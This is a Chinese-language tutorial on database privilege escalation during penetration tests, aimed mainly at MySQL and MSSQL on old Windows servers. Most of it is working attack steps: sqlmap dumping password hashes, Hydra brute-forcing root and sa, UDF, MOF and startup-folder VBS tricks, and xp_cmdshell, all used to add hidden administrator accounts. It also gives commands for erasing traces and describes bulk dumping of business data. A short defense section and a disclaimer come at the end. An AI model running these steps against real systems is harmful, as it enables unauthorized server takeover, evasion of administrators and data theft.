在渗透测试的流程中,当我们通过 Web 漏洞拿到 Webshell 后,往往会遇到一个尴尬的局面:目标服务器系统补丁齐全,常规的系统溢出提权、内核提权全部失效。这时候,数据库提权就成了我们突破权限瓶颈的关键突破口 ------ 尤其是在 Windows 2003+phpStudy 这类经典的老旧运维环境中,数据库提权的成功率往往极高。
本文将从前提条件、账号获取、各类提权手法到防御方案,带你完整掌握数据库提权的全流程操作。
一、数据库提权的前提条件
要进行数据库提权,我们需要先确认两个核心前提,否则后续所有操作都无法开展:
-
获取数据库最高权限账号密码:也就是拥有 root(MySQL)、sa(MSSQL)这类超级管理员权限的数据库账号,这是我们操作数据库的基础。
-
数据库未做目录限制,且支持文件写入 :MySQL 的
secure\_file\_priv配置项决定了数据库是否允许导入导出文件:-
当值为
null:MySQL 不允许任何导入导出,提权直接失败 -
当值为
/tmp/:仅允许在 /tmp 目录操作,无法写入系统关键路径 -
当值为空
\&\#39;\&\#39;:不对导入导出目录做任何限制,这是我们提权的理想条件
-
我们可以通过以下 SQL 命令查看该配置:
show VARIABLES like 'secure_file_priv';
同时,目标数据库最好开启远程连接,方便我们直接操作,当然如果没有开启,我们也可以通过 Webshell 上传本地脚本完成操作。
二、第一步:获取数据库最高权限账号密码
提权的第一步,是拿到数据库的管理员账号密码,常见的获取方式有以下四种:
2.1 SQL 注入:从注入点直接拖取账号
这是最常见的方式,当我们发现目标网站存在 SQL 注入点时,就可以通过 sqlmap 工具直接读取 MySQL 的系统库,拿到账号密码。
操作步骤:
- 首先探测注入点:
python sqlmap.py -u "http://10.0.0.14:90/sql.php?id=1"
- 确认存在注入后,先查看目标的所有数据库:
python sqlmap.py -u "http://10.0.0.14:90/sql.php?id=1" --dbs
- 我们的目标是 MySQL 的系统库
mysql,查看该库下的表:
python sqlmap.py -u "http://10.0.0.14:90/sql.php?id=1" -D mysql --tables
- 找到存储账号密码的
user表,直接导出该表的所有数据:
python sqlmap.py -u "http://10.0.0.14:90/sql.php?id=1" -D mysql -T user --columns --dump

导出后我们就能得到加密后的密码哈希,接下来可以通过 CMD5、somd5 这类在线解密网站,或者 hashcat 这类本地爆破工具,尝试破解明文密码:
hashcat.exe -m 300 -a 3 你的密码哈希
# -m 300 表示破解MySQL4.1/5的哈希格式
# --show 可以查看已经破解出的密码
2.2 从数据库存储 / 备份文件中获取
运维人员通常会定期备份数据库,或者 MySQL 的原始数据文件就存放在 Web 可访问的路径下,我们拿到 Webshell 后就可以直接下载这些文件。
在 Windows 环境下,MySQL 的数据文件通常存放在C:\\phpStudy\\MySQL\\data\\下,每个表对应三个文件:
-
\.MYD:存储表的真实数据,我们要找的user\.myd就存储了账号密码信息 -
\.MYI:表的索引文件 -
\.frm:表结构定义文件
我们只需要下载mysql\\user\.myd文件,本地打开后就能找到加密后的账号密码,再通过解密工具破解即可。
2.3 查找网站数据库配置文件
绝大多数网站的数据库连接配置文件中,都会以明文形式存储数据库的账号密码!这是最简单的获取方式。
拿到 Webshell 后,我们只需要在网站目录下,搜索包含以下关键词的配置文件: conn、config、data、sql、common、inc
比如常见的config\.php、conn\.php这类文件,打开后就能直接看到明文的数据库账号密码,不需要任何破解!
2.4 暴力破解:弱口令爆破
如果前面的方式都没成功,我们还可以尝试爆破数据库的弱口令,不过这种方式成功率相对较低。
远程爆破:Hydra/Bruter
如果数据库开启了远程连接,我们可以用 Hydra(九头蛇,Kali 自带)或者 Bruter 图形化工具进行远程爆破:
Hydra 命令示例:
# 爆破MySQL
hydra -l root -P /root/top100.txt -t 3 -s 3306 10.0.0.14 mysql
# 爆破MSSQL
hydra -l sa -P /root/top100.txt -t 8 -vV -s 1433 10.0.0.14 mssql
常见数据库默认端口:
| 数据库 | 默认端口 |
|---|---|
| Oracle | 1521 |
| MySQL | 3306 |
| SQL Server | 1433 |
| PostgreSQL | 5432 |
| MongoDB | 27017 |
| Redis | 6379 |
本地爆破:Webshell 上传脚本
如果数据库没有开启远程连接,只允许本地访问,我们可以上传爆破脚本到目标服务器,在本地执行爆破,绕过远程访问的限制。
不过要注意,爆破的成功率依赖于密码字典,而且频繁的连接请求很容易被安全设备拦截,所以这种方式一般作为最后的备选。
拿到账号密码之后,我们就可以通过菜刀这类工具连接数据库,进行后续的提权操作了:

三、MySQL 提权:三种经典提权手法
拿到 MySQL 的 root 权限后,我们有多种提权方式可以选择,最经典的就是 UDF 提权、MOF 提权和启动项提权。
3.1 UDF 提权:最通用的 MySQL 提权方式
UDF(User Defined Function,用户自定义函数)原本是 MySQL 提供的扩展功能,允许用户自定义函数来处理复杂查询,攻击者可以利用这个机制,上传恶意的 dll 文件,创建可以执行系统命令的自定义函数,从而实现提权。
操作步骤:
-
确认 MySQL 版本: 不同版本的 MySQL,dll 文件的上传路径不同:
-
版本 < 5.2:上传到
C:\\WINDOWS\\或者C:\\WINDOWS\\system32\\ -
版本 >=5.2:上传到 MySQL 的
lib/plugin目录,比如C:\\phpStudy\\MySQL\\lib\\plugin\\
我们可以通过以下命令查看版本:
select version();如果 plugin 目录不存在,我们可以通过 Webshell 手动创建该目录。
-
-
上传 UDF 的 dll 文件: 将对应系统版本的 udf.dll 文件,上传到刚才确认的路径下。
-
创建自定义命令执行函数: 执行 SQL 命令,加载 dll 文件,创建可以执行系统命令的函数:
Create Function cmdshell returns string soname 'udf.dll'; -
执行系统命令,完成提权: 现在我们就可以调用这个函数,执行任意系统命令了:
# 查看当前用户 select cmdshell('whoami'); # 添加系统管理员账号 select cmdshell('net user xiaolin 123456 /add'); select cmdshell('net localgroup administrators xiaolin /add'); # 开启3389远程桌面 Create Function open3389 returns string soname 'udf.dll'; select open3389();
如果目标的 3306 端口被防火墙拦截,我们也可以直接上传 udf 提权脚本到目标站点,本地访问脚本完成提权,不需要远程连接数据库,这也是生产环境中最常用的方式。
3.2 MOF 提权:Windows2003 专属提权漏洞
MOF 提权是一个针对 Windows Server 2003 的经典漏洞,利用系统自动执行 mof 文件的机制来实现提权。
提权原理:
Windows 系统的C:/Windows/system32/wbem/mof/目录下的 mof 文件,会被系统每隔几秒自动执行,mof 文件中可以嵌入 VBS 脚本,从而执行任意系统命令。如果 MySQL 拥有该目录的写入权限,我们就可以把恶意 mof 文件写入该目录,让系统自动执行我们的命令。
操作步骤:
-
准备好恶意的 moon.mof 脚本,里面包含了添加管理员账号的 VBS 代码。
-
通过 Webshell 把该脚本上传到网站根目录。
-
执行 SQL 命令,把该脚本复制到系统的 mof 目录:
select load_file('C:\\phpStudy\\WWW\\dz\\moon.mof') into dumpfile 'c:/windows/system32/wbem/mof/mof.mof'; -
等待几秒,系统就会自动执行该脚本,帮我们创建好管理员账号。
提权后的清理:
提权完成后,我们需要清理痕迹,避免被管理员发现:
net stop winmgmt
rmdir /s /q C:\Windows\system32\wbem\Repository\
del C:\Windows\system32\wbem\mof\good\moon.mof /F /S
net user admin /delete
net start winmgmt
3.3 启动项提权:利用开机自启动提权
启动项提权的思路很简单:我们通过 MySQL 的文件写入能力,把恶意的 VBS 脚本写入系统的启动项目录,等服务器重启后,脚本就会自动执行,帮我们创建管理员账号。
操作步骤:
依次执行以下 SQL 命令:
# 1. 创建临时数据库
drop database test;
create database test;
use test;
# 2. 创建表,写入VBS脚本内容
create table a (cmd text);
insert into a values ("set wshshell=createobject (""wscript.shell"")");
insert into a values ("a=wshshell.run (""cmd.exe /c net user best best /add"",0)");
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup Administrators best /add"",0)");
# 3. 把脚本导出到启动项目录
select * from a into outfile "C:\\Documents and Settings\\Administrator\\「开始」菜单\\程序\\启动\\b.vbs";
执行完成后,只需要等待服务器重启,重启后我们就拥有了一个名为 best 的管理员账号。如果我们能让服务器立刻重启(比如通过 MS12-020 这类蓝屏漏洞),就能马上拿到权限。
四、其他数据库提权方案
除了 MySQL,其他常见的数据库也有对应的提权方式:
4.1 MSSQL 提权:开启 xp_cmdshell
MSSQL 默认就开启远程连接,而且默认的 sa 账号拥有最高权限,提权的核心是开启xp\_cmdshell这个系统命令执行函数。
拿到 sa 账号密码后,连接数据库,依次执行以下命令开启 xp_cmdshell:
# 允许配置高级选项
sp_configure 'show advanced options',1
reconfigure
go
# 开启xp_cmdshell
sp_configure 'xp_cmdshell',1
reconfigure
go
开启完成后,我们就可以通过 xp_cmdshell 执行任意系统命令,完成提权:
xp_cmdshell 'net user xiaolin 123456 /add'
xp_cmdshell 'net localgroup administrators xiaolin /add'
4.2 Oracle 提权:OracleShell 工具
Oracle 数据库常见于 JSP/ASPX 站点,拿到 Oracle 的管理员账号后,我们可以使用oracleShell\.jar这个工具来完成提权:
javaw -jar oracleShell.jar
连接数据库后,就可以直接执行系统命令,完成权限提升。
五、脱库操作与数据库安全防御
5.1 脱库:获取数据库全部数据
拿到数据库权限后,我们还可以进行脱库操作,获取目标的全部业务数据:
-
工具脱库:使用 Navicat 这类数据库管理工具,远程连接数据库,直接导出全部数据,优点是速度快、功能全,缺点是需要数据库支持远程连接。
-
脚本脱库:如果数据库不支持远程连接,我们可以上传脱库脚本到目标服务器,在本地执行导出,把数据打包后下载。
5.2 数据库安全防御方案
针对数据库提权这类攻击,我们可以通过以下措施进行防御:
-
限制数据库远程访问:不要把数据库端口暴露在公网,只允许内网 IP 访问,禁止 root@% 这类任意地址访问的账号。
-
最小权限原则:不要给网站数据库分配 root/sa 这类最高权限账号,为每个网站单独创建独立的数据库账号,严格限制权限。
-
强密码策略:数据库密码必须满足 8 位以上,包含数字、字母、特殊符号,避免弱口令。
-
三权分立:开发、运维、安全账号权限分离,避免一个账号拥有全部权限。
-
及时更新补丁:及时修复数据库的各类漏洞,比如 MOF 这类历史漏洞。
-
部署安全防护:部署 WAF 拦截恶意注入请求,安装数据库审计设备,监控异常的数据库操作。
写在最后
数据库提权是渗透测试中非常重要的一个环节,尤其是在系统提权失效的场景下,往往能成为我们拿下目标的关键。当然,本文仅用于安全研究与合法渗透测试,请勿用于未授权的非法攻击,否则将承担相应的法律责任。
参考链接
-
hashcat 工具使用教程:https://mp.weixin.qq.com/s/rOOnxr_yuc7OYVY_pRmOvg
-
MySQL 数据库文件详解:https://blog.csdn.net/weibo1230123/article/details/90484073
-
Hydra 工具使用参考:https://blog.csdn.net/Stupid__Angel/article/details/126987709
-
xp_cmdshell 开启方法:https://blog.csdn.net/mengyao/article/details/2509323
-
Oracle 提权工具参考:https://blog.csdn.net/m0_62207170/article/details/129642322